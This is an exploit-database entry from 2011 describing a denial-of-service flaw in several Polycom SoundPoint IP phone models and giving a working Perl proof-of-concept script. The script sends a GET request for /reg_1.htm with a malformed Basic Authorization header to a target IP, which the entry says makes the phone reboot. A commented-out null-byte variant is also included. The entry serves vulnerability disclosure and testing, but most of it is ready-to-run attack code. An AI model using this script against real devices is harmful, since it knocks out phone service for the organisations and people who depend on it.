Polycom SoundPoint IP Devices Denial Of Service

2011-01-29T00:00:00
ID 1337DAY-ID-15448
Type zdt
Reporter pawel gawinek
Modified 2011-01-29T00:00:00

Description

Exploit for hardware platform in category dos / poc

                                        
                                            Polycom SoundPoint IP devices (IP phones) are vulnerable to Denial of
Service attacks. Sending HTTP GET request with broken Authorization
header effect a device restart after ~60 seconds.
 
It was tested on:
 
SoundPoint IP 335 (Version: 3.2.4.1734)
SoundPoint IP 430 (Version: 3.2.3.1734)
SoundPoint IP 450 (Version: 4.2.2.0710)
 
Proof Of Concept:
-----------------------------------------
#!/usr/bin/perl
 
use IO::Socket;
use strict;
use warnings;
 
if (!$ARGV[0]) {
         print "Usage: $0 [IP]\n";
         exit;
}
 
my $socket = IO::Socket::INET->new(
         Proto => "tcp",
         PeerAddr => "$ARGV[0]",
         PeerPort => "80") || die "Error $!";
 
 
print $socket "GET /reg_1.htm HTTP/1.1\r\nAuthorization: Basic\r\n\r\n";
#print $socket "GET /reg_1.htm HTTP/1.1\r\nAuthorization: Basic \0\r\n\r\n";
-----------------------------------------



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